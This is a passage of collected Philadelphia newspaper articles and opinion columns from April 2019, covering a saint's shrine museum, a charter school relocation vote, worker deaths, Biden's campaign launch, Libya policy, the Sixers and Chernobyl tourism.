Fifth Street and Girard Avenue. There, the body of Neumann, who died nearly 160 years ago, lies in the glass coffin. The renovation of the six-building campus, which took five years to complete, includes a new atrium lobby, gift shop, cafe, media room, and museum. All are on the former first floor of St. Peter the Apostle School, which now occupies part of a convent building in addition to its school building. A warehouse has become a parish hall and office for the Redemptorist archives. Inside the 1,700-square-foot museum, interactive exhibits stand alongside Neumanns Bibles, chalice, vestments, eyeglasses and a noose given to him to commemorate the deaths of two prisoners hanged at the old Moyamensing Prison. Neumann performed their last rites. Many of the items in the 100-piece collection have never been on public display, such as a 1790 Mathew Carey Bible, the first Roman Catholic version of the Bible printed in the United States. About 500 copies were made; an estimated 40 remain. The opening will be celebrated with a week of activities including Chaputs visit and open house on Monday, as well as a poetry reading, a concert, and a documentary on the migration and refugee crisis made by a Redemptorist priest. All events are free and open to the public. The project was funded mostly by the Redemptorists, officially the Congregation of the Most Holy Redeemer. Nine priests live in the rectory, with four managing the shrine, which has an annual budget of $600,000. The Redemptorists serve as missionaries to the poor and spiritually abandoned. Ministry to immigrants is also a significant part of their calling, one famously lived out by Neumann. The diminutive clergyman known as the Little Bishop was born in 1811 in what is now the Czech Republic. He studied for the priesthood, but when his bishop refused to ordain him because of an overabundance of priests, Neumann sailed to America. He disembarked in 1836 with one dollar and one suit of clothes, and within weeks was ordained in New York. He went on to work in parishes there and in Pittsburgh, Ohio, and Maryland. In 1852, he was appointed bishop of Philadelphia. With its rapidly growing immigrant community of Catholics, the city proved a fitting place for Neumann, who spoke 11 languages. He arrived in Philadelphia less than a decade after churches and homes were burned during riots fueled by anti-Catholic sentiment, said Kathleen Sprows Cummings, an associate professor at the University of Notre Dame and author of A Saint of Our Own: How the Quest for a Holy Hero Helped Catholics Become American. Neumann was instrumental in changing the populaces perception of Catholics, and made Philadelphia a more welcoming place for immigrants. Many view him as not only a holy person but also a patriot, said Cummings, who will discuss her book Thursday during a presentation at the shrine. During his eight-year tenure, Neumann helped establish the Catholic school system, with 100 schools launched or completed while he was bishop, Hayes said. About 80 new churches also were established, including St. Mary Magdalen de Pazzi in South Philadelphia, the nations first Italian national parish. He was a catalyst in the founding of the Sisters of St. Francis of Philadelphia, who later started Neumann University in Aston, Delaware County. On Jan. 5, 1860, Neumann died of a heart attack at age 48 while walking home from a post office in the snow. He had gone there to pick up a chalice for a fellow priest. He was declared a saint in 1977. The marble stoop on which Neumann collapsed and died sits at the entrance of the new museum below a white marble effigy of him dressed in his vestments. The Redemptorists are hoping the museum attracts more visitors who will spend more time at the shrine. Said Collins: I hope they leave feeling inspired. Carla Lewandowski, left, and Mary Alice Duff, right, are committed to Mifflin Elementary. They're worried that a charter school trying to move into the neighborhood could drain students from their school, they are shown here at Mifflin Elementary school in East Falls. Read more The Philadelphia Board of Education voted unanimously Thursday to indefinitely postpone a decision on a proposed move by Laboratory Charter School to East Falls. The School District had recommended the relocation, which it said would benefit the charter financially. But it was hotly contested by East Falls parents who said the school never informed the community of its plans, and questioned why another charter was being permitted to open in a neighborhood where the traditional public elementary school has available seats. Board president Joyce Wilkerson said the moves benefits to the charter students, staff, and families were clear. But, she said, it is equally clear that there has not been enough planning and thought put into making sure this move will work for the community into which this school intends to locate." We intend to operate one system of public schools. We cannot look at each decision in isolation, Wilkerson said at the board meeting. She proposed delaying the decision to gather additional information about the charters intended relocation, including its potential impact on Thomas Mifflin Elementary. The boards vote was unanimous. It had received a petition with more than 600 signatures and heard testimony against the charters relocation. We have to ask ourselves, what message does it send our kids when we open another charter school when we have a local neighborhood public school ... ready to serve our students?" said parent Mary Alice Duff. She said "the lack of community engagement by Lab Charter feels intentional. Laboratory Charter enrolls 541 K-8 students and is now spread across three campuses in Overbrook and Northern Liberties. A move to East Falls would allow it to consolidate and enroll up to 1,000 students. If approved, the move would have given East Falls two K-8 charters. Philadelphia Hebrew, which received a final charter Thursday, is scheduled to open this fall and is approved to enroll up to 700 students. Both charters would have been located at the same complex on Henry Avenue, where a third charter, Eastern University Academy, is also located. That charter, which serves grades 7 to 12, is fighting nonrenewal but is planning to move out of East Falls. Laboratory Charter was voted for nonrenewal by the former School Reform Commission in 2017, due in part to financial concerns. But the commission reversed course in 2018 after the school contracted with a new business service provider. Laboratory CEO Andrea Coleman-Hill said earlier this week that the charter would continue to operate if the relocation was not approved. Here are four things to know about the rest of the school boards Thursday actions About that shutdown. In the first board session after activists shut down a meeting in frustration over a decision to mandate metal detectors at all schools, Wilkerson said that the board welcomed discussion and realized that would sometimes come in the form of dissent. Wilkerson said the board would not tolerate disruptions that deprive other members of the public the right to hear the board conduct its business and to have their voices heard, and emphasized that we expect individuals to adhere to basic principles of civility, decorum and respect while at the board meetings. No to Relay. In a surprise vote, the board rejected a $114,500 contract with Relay Graduate School of Education for principal training. Several board members said they had concerns about Relay, which is not accredited in Pennsylvania to award graduate degrees. (Relay has accreditation from the Middle States Commission on Higher Education.) Chief schools officer Shawn Bird said Relays lack of Pennsylvania credentials was not a problem, since Relay would not be offering Philadelphia principals graduate classes but providing leadership training. Board members Julia Danzy, Leticia Egea-Hinton, Mallory Fix Lopez, Maria McColgan, and Christopher McGinley voted against the contract. Wilkerson, vice president Wayne Walker, and members Lee Huang and Angela McIver voted to approve. Budget hearing. The board held its formal hearing on its $3.4 billion budget for 2019-20. The spending plan allows for more nurses, teachers, and teachers for English-language learners. The board took no action on the budget, which will be aired before City Council in May and come up for a vote by the school board later that month. The budget projects a modest fund balance at the end of fiscal 2020, but the picture deteriorates in the final years of the districts five-year plan. By 2022, the district is projecting a $30 million budget deficit. Overcrowding in South Philly. More than a dozen South Philadelphia parents and teachers packed the board meeting to talk about overcrowding issues at Meredith Elementary, soon to spill over to Nebinger Elementary. Meredith, one of the citys top schools, now has a wait list for kindergarten, and its overflow students are sent to nearby Nebinger, which will soon hit capacity, parents said. There is no room at Meredith, where teacher Emily Lieber said class size makes one-on-one interactions with students are rare. I know my 36 first graders deserve more, Lieber said. She and others called on the district to devise a comprehensive plan to deal with overcrowding. Correction: A previous version of this story misstated the size of the districts projected budget deficit. It is $30 million, not $300 million. John F. McAteer (center), of Folsom, places a rose on top of a symbolic casket for Pete Adamovich, his co-worker who died in the Amtrak collision on April 3, 2016, during a Workers Memorial Day service at Penns Landing. PhilaPOSH will host its annual Workers Memorial Day service Friday. Read more There are the deaths that make the news: Harvey Figgs, 59, the contractor who was working on a house in Brewerytown when it collapsed on him; Bobby Jenkins, 30, the pizza deliveryman who was shot while attempting to make a delivery; Michael Bernstein, 46, the firefighter who had a medical emergency while on duty. Then there are those who die without fanfare, many of them barely a blip on the publics radar: no headlines, no obituaries, sometimes not even a report to the federal agency that tracks worker deaths. But the people who died on the job at least 116 since March 2018 across Pennsylvania, Delaware, and New Jersey are a reminder of the vulnerability that many workers experience. As part of Workers Memorial Day, which is April 28 every year, worker safety nonprofit PhilaPOSH assembles a list of all the work-related deaths in the preceding 12 months and honors the workers in a procession down Columbus Boulevard. The number of deaths on PhilaPOSHs list has remained steady over the last dozen years, said executive director Nicole Fuller, though she noted that with advances in education and training, the number should be going down. Also, the list is not comprehensive. >> READ MORE: Philly contractor faces $45,000 in OSHA fines for Brewerytown building collapse that killed one in June PhilaPOSH gets data from the Occupational Safety and Health Administration (OSHA), but the federal agency covers only private-sector employees, leaving out public-sector workers, independent contractors, and anyone else engaged in a more informal work arrangement. Thats especially concerning in a time when an estimated one in five jobs in the United States is held by a worker under contract. OSHA, for example, has no record of the death of Pablo Avendano, the 34-year-old who was hit by a car last May while delivering food for the online platform Caviar. Thats because he was an independent contractor. >> READ MORE: How a job listing made employee misclassification go viral In the notoriously dangerous construction industry, many workers are illegally misclassified as independent contractors, which means deaths in that industry could be going untracked. PhilaPOSH fills in OSHAs gaps by searching for news of worker deaths, but its not a perfect system, and neither is OSHAs data: We have been known to have names on the list that they dont have data on, Fuller said. >> READ MORE: From December 2018: L&I: 2 floors slid right off the building in N. Philly collapse; 2 workers hospitalized Other kinds of illnesses, such as stress-related heart disease, can also cause deaths but its hard to determine whether those deaths were a direct result of the work. On this Workers Memorial Day, the number of OSHA inspectors is at an all-time low, according to the National Employment Law Project (NELP). (There were 49 inspectors in charge of investigating safety conditions for Pennsylvanias nearly 5.8 million workers, according to a 2019 AFL-CIO report, down from 57 in 2016, when the state had 5.6 million workers.) The Trump administration also has weakened protections for whistle-blowers who report safety problems and repealed workplace safety laws, such as the one that requires corporations in dangerous industries to electronically submit injury and illness information, a change that NELP says makes it harder for inspectors to track trends. Democratic presidential candidate and former Vice President Joe Biden greets a few Amtrak employees as he arrives at 30th St. Station after attending a fundraiser in Philadelphia Thursday, April 25, 2019. (Elizabeth Robertson/The Philadelphia Inquirer via AP) Read more Bloomsburg Universitys president is facing sexual harassment claims brought against him by an employee at the school. A pattern of accusations seems to be following Bashar Hanna as he moves through Pennsylvania institutions, but hes continuing to fight for his reputation. Former Vice President Joe Biden is ready to battle it out for the White House again. He wasted no time going after President Trump on the campaign trail. A charter schools proposed move into East Falls was hotly contested and it looks like parents opposed to it have scored a victory for now. Reading this online? Sign up here to get this newsletter delivered to your inbox every morning. Ray Boyd (@RayBoydDigital, morningnewsletter@philly.com) Bloomsburg University President Bashar Hanna arrived in the summer of 2017 with a mission to unify the staff. Accusations brought against him by his executive assistant quickly turned Hanna into a divisive figure just months into the job. Before coming to Bloomsburg, Hanna had been quietly pushed out of two Pennsylvania universities after being accused of mistreating employees. His hiring at Bloomsburg baffled others within the 14-school state system. Inquirer findings raise questions about the integrity of the presidential search process in the state system as Hanna continues to say his departure from other schools were about leadership disputes, not misconduct. Thursday marked day one of Joe Bidens third presidential bid. Biden entered the field with a video posted to social media a far cry from the methods he used to launch his previous campaigns. Biden also hopes to change things up by winning this time around. Hes viewed as the Democrats best bet to wrestle the White House from President Trump, but his front-runner status could mean very little if he fails to resonate with a rapidly changing Democratic Party. He wrapped up his first day on the campaign trail at a stop in Philly for a fund-raiser hosted by Comcast executive David L. Cohen. There, Biden explained why he believes Trump has shredded Americas moral fabric. Laboratory Charter School was poised to relocate to East Falls a move Phillys school district argued would help the school financially. That was until parents in the neighborhood voiced their opposition. They were heard loud and clear. On Thursday night, the Philadelphia Board of Education voted to postpone the relocation decision while gathering more information on community impact. Parents argued that they were never informed of the plans to move the school there and question the need for it while the public elementary school has available seats. What you need to know today Through Your Eyes | #OurPhilly One of Phillys most amazing sporting events. Thanks for sharing, @chuckseye. Tag your Instagram posts or tweets with #OurPhilly and well pick our favorite each day to feature in this newsletter and give you a shout out! Thats Interesting Opinions American icons or not, William Penn and Benjamin Franklin must go. Consistency requires it. If Kate Smith became a nonperson for recording two songs 80 years ago perceived as racist today, and if Frank Rizzo is to be exiled because he is accused of racism, how can we tolerate men who actually owned human beings?" Columnist Stu Bykofsky on Americas moral crusade against racism. Critics are correct in calling out the massive race-based harm of the war on drugs. But their critiques of current opioid crisis intervention methods are misguided, write family therapist Aisha Mohammed and nurse practitioner Amna Shaikh. Its time for President Trump to realize that climate change is real and a major factor in the increase in migrants making their way to the U.S. border, writes columnist Will Bunch. What were reading A Daily Dose of | BYOB Chef Richard Cusack (Joel Embiids private chef) and his wife and wine professional Christina Cusack have signed on to open their own eatery, June BYOB, which will soon replace Will BYOB on East Passyunk. Father Niroshan Perera places a cross during the funeral service of Dhami Brandy, 13, who was killed during Easter Sunday's bomb blast at St. Sebastian Church, in Negombo, Sri Lanka Thursday, April 25, 2019. Read more After hundreds of Roman Catholics were killed in an Islamist terror attack last Sunday, Hillary Clinton tweeted out the following: On this holy weekend for many faiths, we must stand united against hatred and violence. Im praying for everyone affected by todays horrific attacks on Easter worshipers and travelers in Sri Lanka. The phrase Easter worshipper seemed strange, especially since former President Barack Obama had used the exact same phrase when tweeting out his own condolences: The attacks on tourists and Easter worshipers in Sri Lanka are an attack on humanity. On a day devoted to love, redemption, and renewal, we pray for the victims and stand with the people of Sri Lanka. I chalked it up to that foot-in-mouth disease that afflicts some progressives when they try to talk about religion. I was willing to move on from Clintons statement until I recalled her tweet after the assault on two mosques in New Zealand: My heart breaks for New Zealand & the global Muslim community. We must continue to fight the perpetuation and normalization of Islamophobia and racism in all its forms. White supremacist terrorists must be condemned by leaders everywhere. Their murderous hatred must be stopped. Thats when I got angry. The death toll in Sri Lanka dwarfs that in New Zealand, and I say that not to diminish the horror of the assault on innocent Muslims but to point out that Clinton didnt take the Easter Sunday massacre as an opportunity to decry the normalization of anti-Christian hatred and racism in all its forms. She didnt condemn Islamic terrorists. She didnt demand that their murderous hatred must be stopped. She just said that on a holy weekend for many faiths, we need to stand against hatred and violence. Some people reading this wont see anything wrong with her comments. Some people will take issue with the fact that I am using the death of innocent people as an occasion to play politics. But I have a problem with the way Clinton, and Obama, and others were so quick to commiserate with Muslim victims in New Zealand, and before that Jewish victims of the Tree of Life Synagogue in Pittsburgh, and before that the African American victims of Mother Emanuel in Charleston, but had a difficult time finding the explicit words to talk about how Christians were murdered in Sri Lanka. Im sensitive to the issue because Ive spent the last few months in immigration court defending Christians who have been persecuted in other parts of the world. Just this week, a young Honduran evangelical who received death threats every day for six months and who was assaulted outside of the church where she preached, was granted asylum by a compassionate immigration judge. It might seem counterintuitive that Christians are in danger in Christian majority countries, but there are no geographical limitations when it comes to hate. However, there is an unwillingness in the west to acknowledge that Christians are an endangered species. As John L. Allen observed in Crux, an online newspaper that focuses on news related to the Catholic Church, conversation about anti-Christian persecution has gone through several phases of denial fueled by suspicion in some cultural and media circles that anti-Christian persecution had been ginned up by conservative western Christians looking to win sympathy for socially unpopular positions on matters such as homosexuality and women. To me, this statement resonated as I considered Clintons tone-deaf tweet. Consciously or not, she sees Muslims, Jews, and other minorities as victims, and has a blind spot when it comes to Christians. Shes not alone. Language matters. So the next time a church goes up in flames, or people are massacred in church pews, lets stop using euphemisms like Obamas attack on humanity. Lets be honest: It was an attack on Christians. Protesters chant slogans against military operations by Field Marshal Khalifa Hifter's forces in Martyrs' Square on in Tripoli, Libya on Friday, April 26, 2019. Libyas U.N.-supported government has asked the Security Council to appoint a fact-finding mission to investigate alleged violations by the forces attacking the capital, according to a letter circulated Thursday. Read more It has become the new normal for President Trump to undercut his secretaries of state and defense without warning. On a whim. With a tweet or a phone call. But the latest example is truly extraordinary: Trumps adulatory April 15 phone call to a Libyan general who had just attacked the Libyan capital of Tripoli and upended scheduled U.N. peace talks. The call was made one week after Secretary of State Mike Pompeo issued a statement in which he denounced Gen. Khalifa Hifters assault. Pompeo insisted bluntly that there was no military solution to the Libya conflict and that a political solution is the only way to unify the country. So why would the president backhand a cabinet secretary who has bent over backward to support him? And why would Trump endorse a general who wants to plunge Libya back into civil war? The answer lies in the presidents personal affinity for strongmen on every continent. A faith that has proven woefully misplaced and in Libya could lead to disaster. But that doesnt appear to dissuade Trump. The Libyan tale is the latest example of how the presidents admiration for autocrats has prompted him to make sudden policy shifts that have backfired. (Think Trumps abrupt decision to pull all U.S. troops out of Syria, after a phone call request from Turkish President Recep Tayyip Erdogan, a move that has already soured). But the Libya case is especially instructive. A bit of history: After longtime dictator Muammar Gaddafi was killed in 2011, a fractured Libya became a haven for warring militias, Islamist terrorists, and smugglers of refugees. Eight years later, the country remains split between a U.N.-backed Government of National Accord and a Hifter-backed administration in the east of the country. So-called Field Marshal Hifter has grandiose ideas. A onetime supporter of Gaddafi, he went into exile in Virginia and obtained U.S. citizenship. Then he returned to Libya in 2011 to help overthrow the dictator. Now he commands a patchwork militia army which has had some successes in winning control of oil fields and quashing terrorist groups in Libyas east and south. But Hifter has little purchase in Western Libya, home to most of the countrys population. So the best hope for Libya remains a negotiated solution, in which Hifter could play a prominent role. Yet rather than exchange his military gains for a strong bargaining position, he has held out to conquer the rest of Libya. Claiming to be the man who can vanquish all Islamists, Hifter has won support from Egypts president Abdel Fattah el-Sisi, along with the leaders of the United Arab Emirates and Saudi Arabia. Ditto from Vladimir Putin. All autocrats whom Trump admires. The problem is that Hifter cant deliver. But I get ahead of my story. First, lets look at why Trump undercut a U.N. diplomatic process that was finally gaining momentum. Two days after Pompeo denounced Hifters assault on Tripoli, Egypts el-Sisi visited the White House. The widespread assumption is that el-Sisi urged Trump to back Hifter as the tough guy who could unite Libya by force. Trump then phoned Hifter and praised his significant role and their shared vision, according to a White House readout of the call. Trumps praise encouraged the generals assault which led to cancellation of the planned U.N. peace talks. White House support for Hiftar went further: On April 18, the United States joined Russia in rejecting a U.N. Security Council resolution calling for a ceasefire in Libya a resolution drafted by the British. Yes, you read that correctly, Trump plus Putin vs. Pompeo and Great Britain. In support of a violent assault on Tripoli that could restart the Libyan civil war. The problem, says the Brookings Institutions Jeffrey Feltman, is that Hifter is not the savior he claims. He is a strongman poseur. Feltman, formerly a top State Department Mideast official and U.N. undersecretary for political affairs, adds that Hifters army has a lot of Salafists. He claims he will bring stability but he will embolden extremists and marginalize moderates. A long battle for Tripoli, says Feltman, would be horrific, with the kind of civilian casualties and destruction we have seen in Syria. Rather than unify Libya it would create further instability that increases the opportunities for terrorists. And then there is the Russia angle. Moscow has provided Hifters forces with all kinds of equipment, people, training, and the like, Marine Gen. Thomas Waldhauser, head of U.S. Africa Command, said in testimony to Congress. Probably the Kremlin has visions of future naval basing rights in Libya to strengthen its position vis a vis NATO in the Eastern Mediterranean. If Trump knew anything about Libya, he would have shied away from endorsing Hifter, or pressed him to join the negotiations. Instead Trump chose to support and flatter the big man. So now we have the United States, hand in glove with Russia, urging on a general who dreams of becoming a new Gaddafi but will cause more chaos in Libya. Another case of Trump autocrat envy that is bound to boomerang. U.S. Representatives Madeleine Dean (top left), Mary Gay Scanlon (bottom left), Brendan Boyle (top right) and Chrissy Houlahan (bottom right) spoke Wednesday in Philadelphia about the potential impeachment process for President Donald Trump. Read more Four Democratic members of Congress from Southeastern Pennsylvania gathered Wednesday in a church on South Broad Street, trying to lead the progressive flock without going too far astray. The sermon, delivered to about 200 people from Indivisible chapters, centered on political prudence amid talk of impeachment for President Donald Trump. There was talk, too, of concern that Trump could win Pennsylvania again in 2020. Solemn stuff, this gathering on All Bidens Eve. U.S. Rep. Madeleine Dean of Montgomery County, a freshman member of the Judiciary Committee, described the steps ahead subpoenas for documents and testimony, sifting through the report by special counsel Robert Mueller released last week. That came two days after House Speaker Nancy Pelosi, in a caucus-wide conference call, called for the Houses investigations to unfold before anyone pushes for impeachment. We will get the facts. We will ask the hard questions, Dean promised. Well get the truth and impeachment is probably down the road. U.S. Rep. Mary Gay Scanlon of Delaware County, another freshman on the Judiciary Committee, said Muellers report directly challenges Trumps claims that he and his campaign were exonerated of collusion with Russia during the 2016 election and obstructing justice in the resulting investigation. We are not looking at this as a political win-loss game," Scanlon said. We are looking at this as: What does the Constitution require? What do we have to do to protect our government? And were going to do it. U.S. Rep. Brendan Boyle of Philadelphia said he hoped the investigation would examine why this administration has been so politically in bed with the Russian regime. U.S. Rep. Chrissy Houlahan said the tone and tenor of the conversation changed, turning more grave" after the report dropped. U.S. Rep. Dwight Evans of Philadelphia, the only Democratic member of Congress from the region who did not attend, supported impeachment for Trump in a 2017 vote and reiterated his support in a string of tweets Monday. Organizers said U.S. Rep. Brian Fitzpatrick, a Bucks County Republican, did not respond to their invitation. Boyle sees a Democratic candidate for president as a slight favorite right now to win Pennsylvania in 2020 but said Trump could win the state. Scanlon called former Vice President Joe Biden, who entered the race Thursday, a favorite son of the state. I think, like last time, it will depend on who [Trump] is running against, Scanlon said when asked who could win Pennsylvania. And how much the Russians participate. Speaking of Russians and Republicans Val DiGiorgio had a curious knock on Bidens nascent candidacy Thursday morning. The chairman of the Pennsylvania Republican Party claimed in an email that Biden turned a blind eye to Russian interference in the 2016 election. If thats not how you remember it, there is a reason for that. Biden, three weeks before 2016s general election, said on NBCs Meet the Press that the U.S. government would punish Russia for interfering in the election. Russian President Vladimir Putin responded directly to Biden by suggesting Democrats were a little bit nervous about the election. DiGiorgios claim may not be consistent with history, but it fits with his partys blame-the-other-side messaging. Trumps reelection campaign and the Republican National Committee emailed supporters a fundraising accountability survey Thursday afternoon that claimed former President Barack Obama did virtually nothing to stop Russian election interference. Its been less than a year since Trump, in a news conference with Putin in Helsinki, accepted Putins claim that his country did not interfere in Americans election, adding, I dont see any reason why it would be Russia to blame. The political metamorphosis of Irina Goldstein Irina Goldstein, a Republican candidate for City Council at large, says her campaign has taught her that to a lot of people, perceptions are reality. Here is a perception: Goldstein has been campaigning as a Trump supporter who opposes Mayor Jim Kenneys sanctuary city policy. She insists that the city should cooperate when U.S. Immigration and Customs Enforcement (ICE) demands information about people in this country illegally. Here is a reality: Goldstein posed for pictures 10 months ago holding a sign that said What would Jesus do? ABOLISH ICE! during a large march protesting Trumps immigration policies. I thought nothing of it. I even posted it myself on social media, Goldstein said this week of the picture. I most definitely do not agree with abolishing ICE. Screen-grabs of social media postings by Goldstein one of seven Republican at-large candidates, the youngest (35), and the only woman in the GOP field have been floating around for months. Her competitors might have been curious, since shes only been a Republican for eight months after being a registered Democrat for a decade. On Facebook in 2017, Goldstein said the biggest and greatest scam Trump ever created was putting money into his 2016 campaign to later create tax cuts that will save him and his buddies billions. She also suggested on Twitter the day after the 2016 election that she was moving to Canada. And theres a 2017 Twitter claim about Republicans having "a history of erectile dysfunction that doesnt seem to be supported by any medical evidence. By way of explanation, Goldstein first said she had been brainwashed by the media." Then she claimed to have been a secret Trump supporter all along, despite her GOP gibes. Finally she declared that her social media posts were satire and declined to comment further. Former Vice President Joe Biden got emotional during his appearance on "The View" Friday morning, his first interview since announcing his 2020 Democratic presidential bid. Read more In his first televised interview since launching his 2020 presidential campaign, former Vice President Joe Biden teared up on The View when asked if he was running because of encouragement from his late son, Beau. No, hes not why Im running, but I hope , Biden said as he began to get emotional. When I get up in the morning, I think about I hope hes proud of me. Biden, 76, touched on several topics during the hour-long program, including the treatment of Anita Hill during her 1991 testimony about Clarence Thomas before the Senate Judiciary Committee. Biden apologized for the way Hill was treated, but said he didnt think he personally treated her badly. I believed Dr. Hill, I believed what she was saying, Biden said. There were a lot of mistakes made across the board, and for those I apologize. We could have conducted it better, but I believed Dr. Hill from the beginning, and I said it. Biden, who is four years older than President Donald Trump, flatly said no when asked if he would commit to serving for only one term if elected president. "Its a legitimate question to ask, about my age.... Hopefully I can demonstrate not only that with age comes wisdom, but an experience that can make things a lot better, Biden said. But thats for you all to decide, not me. Despite his late entrance into the race, Biden has managed to put Trump on the defensive thanks to an announcement video that centered around the presidents comments following a 2017 white supremacist rally in Charlottesville, Va. After the rally, Trump said there was blame on both sides for violence that led to the death of counter-protester Heather Heyer. "I was talking about people that went because they felt very strongly about the monument to Robert E. Lee, a great general. Whether you like it or not, he was one of the great generals, Trump told reporters as he left the White House Friday morning. People were there protesting the taking down of the monument of Robert E. Lee. Everybody knows that. An appearance on The View is nothing new for Biden. The former vice president has appeared on the show seven times, including in December 2017, when he consoled a crying Meghan McCain, brought to tears when the two discussed the impact her late father, Sen. John McCain, had on Bidens son. One of the things that gave Beau courage was John, Biden said, referencing that the two suffered from the same form of brain cancer. Beau talked about your dads courage. Not about illness, but about his courage. Biden and his wife, Jill, will sit down with ABCs Robin Roberts on Good Morning America on Tuesday. His first major public event will be at a Pittsburgh union hall on Monday, but he was in Philadelphia on Thursday for a high-dollar fund-raiser hosted by Comcast Corp. senior executive vice president David L. Cohen. READ MORE: Joe Biden, at Philly fund-raiser hosted by Comcast exec, says Trump has shredded Americas moral fabric Mix two defensive player of the year awards with a pair of hands that are unrealistically large, sprinkle in a 6-foot-7 frame and 7-3 wingspan, add a dash of elite offensive talent, and pour it over a base of quiet confidence layered with the instincts of a hardwood killer. Its a recipe for a Ben Simmons problem. His name is Kawhi Leonard. Brett Brown said Thursday that the 76ers would not rely completely on Simmons to guard Leonard, having other options available on the roster, but its not necessarily Leonards offense that the Sixers need to be worried about. Its his defense, and specifically the way Leonard has defended Simmons. Theres a statistic that has been used recently that on the surface is unnerving. In the three games all losses in which Simmons has faced Leonard this season, he has committed 24 turnovers. Digging in a little closer, Leonard was directly responsible for just nine of the 24 turnovers, and five of them were from the Sixers and Raptors first contest on Oct. 30. Though Leonard is not the sole reason that Simmons coughs up miscues against the Toronto squad, he impacts Simmons game in many ways. Because of his lateral quickness and general defensive intelligence, Leonard is able to cheat off Simmons in order to be a more readily available help defend off the ball, while still being a threat when Simmons drives. Additionally, when the Sixers are able to force a switch and get Leonard onto another man, what that does is put Leonard in the way of one of Simmons offensive options. Leonard is able to guard any player on the court, so even if hes not in Simmons face, hes still cutting off a passing option or denying an entry pass elsewhere. When Brown was asked Thursday what he could do to free up Simmons against Leonard, he played it close to the vest. Obviously Im not going to tell you, he said. I understand that our history of a lack of success is a real topic. Id remind everyone that weve never played [the Raptors] with the team we have. So the context needs to be somewhat considered." It is fair to argue that the Sixers have not played the Raptors with their full arsenal of an All-Star-packed starting lineup, and that means that Toronto will have more to deal with defensively with the Sixers than it ever has. Hiding Kyle Lowry on defense is not as simple as it once was, and if any one of the Sixers players gets open, its more of an offensive threat than it has been. Although the Sixers have more star power, that fact does not negate Leonards success or his ability to rattle an opponent no matter which player he is guarding. The Sixers are going to need Simmons to dig in, play disciplined, and aggressively attack when given the opportunity in this Eastern Conference semifinal series. More than anything, Simmons and Brown will have to show their ability to react flexibly when things arent going as planned and be ready for Leonard to react just as quickly. On the roof of a 16-story apartment building in Pripyat at sunset, a visitor can see what remains of the abandoned town. The only light comes from the Chernobyl nuclear station and the giant containment shield covering the remains of the exploded reactor. Read more We climbed 16 flights of slippery, icy stairs in an abandoned apartment building the iron railings long ago pilfered, balcony doors stuck open until we reached the roof and peered over the ghost town of Pripyat, the once-hailed Soviet "futuristic city" where Chernobyl nuclear plant workers and their families lived. Thirty-three years after the Chernobyl nuclear reactor explosion, Pripyats broad boulevards are crowded with tangles of overgrown trees. Its once gleaming buildings are dark and brooding windows gone, interiors looted, hallways littered with crumbling books. It was twilight, and from our rooftop perch, the only light we could see came from the silver dome encasing the Chernobyl reactor, lighted up as though it were still on fire. Someone in our group blasted music from an iPhone, and suddenly a dozen Americans broke out dancing. We were among the only humans in this deserted city. "What else do you do at the end of the world?" someone yelled. Welcome to the apocalypse vacation: a weekend in Chernobyl. Ever since the Ukrainian government opened Chernobyl to tourists in 2011, the number of annual visitors continues to climb. Last year, the government reported nearly 72,000 visitors, up from 50,000 the year before. Travel to Ukraine has become cheap, said Sergii Ivanchuk, owner of the tour company SoloEast, which last year shuttled nearly 12,000 tourists to the site of the infamous nuclear disaster. We dont have Crimea anymore, and less and less people are interested in religion and churches. But we have cheap beer and Chernobyl. Early on the morning of April 26, 1986, when this area was a part of the Soviet Union, nuclear reactor No. 4 exploded during a safety test at this power plant about 80 miles north of Kiev. The deadly accident, initially cloaked in Soviet secrecy, spewed radioactive fallout over much of Europe. More than 115,000 people were evacuated from a 1,000-square-mile area known as the Chernobyl Exclusion Zone. Years later, stories and photographs from Chernobyl continue to stoke the worlds curiosity horses born with eight legs, giant catfish found in the waters near the plant, octogenarian self-settlers who seemingly thrived after returning to the exclusion zone, eating vegetables grown in contaminated soil. Even now, interest in Chernobyl shows no signs of ebbing. Journalist Adam Higginbothams book Midnight in Chernobyl: The Untold Story of the Worlds Greatest Nuclear Disaster hit shelves this year, and HBOs new drama mini-series Chernobyl debuts May 6. I first visited Chernobyl in late October 2016, not long before a massive silvery containment shield designed to prevent radiation leaks was rolled over the crumbling sarcophagus encasing reactor No. 4. A hundred yards from the sarcophagus, our Geiger counters shot off readings several times higher than the suggested safe levels; our guide discouraged us from lingering. Two years later, I stood in the same spot across from the infamous reactor now covered by a shiny arch and the levels on my Geiger counter were only slightly elevated. Id returned to the exclusion zone because this time I wanted to sleep in Chernobyl. How many people can say that? Two-day guided tours cost $200 to $300 a person for a group of 12 and include an overnight stay in a spartan, dormlike hotel in the town of Chernobyl, about 12 miles from the reactor. Day excursions are available, too. Dozens of companies run trips to the area. Tour buses, often painted with gas masks and radiation symbols, pick up customers from Kievs Independence Square. Id brought along 11 students from Syracuse University, where I teach journalism after convincing university officials and the students parents that our visit would be no more dangerous from a radiation standpoint than an intercontinental flight or dental X-rays. As we passed through various checkpoints and entered the exclusion zone, some students were nervous. Then they met a pack of Chernobyl puppies, mainly descendants of dogs left behind by evacuees, and their anxiousness about radioactivity subsided. Many of the estimated 300 stray dogs are tagged and tracked by scientists. At night, outside our hotel, packs of dogs yelped and howled. About two-thirds of the exclusion zone is a wildlife reserve, populated by increasing numbers of wolves, foxes, lynxes, wild pigs, deer, and moose. Our guide, Tatiana Globa, 22, had recently taken a group into a Pripyat elementary school, only to be met by a huge moose. "We backed out of there fast," she said. "I was really scared. It was huge, and they can be mean." On our tour, Globa pointed out radiation hot spots, including the red forest, where trees had turned red and orange. As our bus quickly moved through a section of the woods, our Geiger counters screamed warnings with rapid beeping. We visited Pripyats unfortunate amusement park, with its faded yellow Ferris wheel and its sad, decaying bumper cars that never gave a ride to a single child; the park was set to open the week after the explosion. Theres an enormous sense of loss in Pripyat, as though the towns population had been suddenly wiped out rather than resettled. A sense of grief followed us as we traipsed through some of the houses that havent been bulldozed kitchen tables set as though the family were about to sit down and poked around deserted schools and hospitals where firefighters were first treated. The remains of their highly radiated clothing still send Geiger counters beeping and Globa shouting, Dont touch! We climbed inside an unfinished cooling tower, abandoned after the reactor exploded. We stared up at the immense structure, as tall as the Great Pyramid of Giza, marveling at the raw beauty of gray concrete buttressed by steel supports, curving up until it opened to the wintry sky. A highlight of the trip was meeting Ivan Ivanovich, 82, at the primitive-yet-cozy home he built in Parishev village. Ivanovich is one of 119 self-settlers who are still alive, according to exclusion zone officials. The settlers were allowed to return after 600,000 so-called liquidators cleaned up the roads, bulldozed toxic buildings, scraped the radiated topsoil, and buried cars and furniture. The level of radiation in Kiev was the same as in Parishev, so why would I stay there? he asked. Ivanovich is 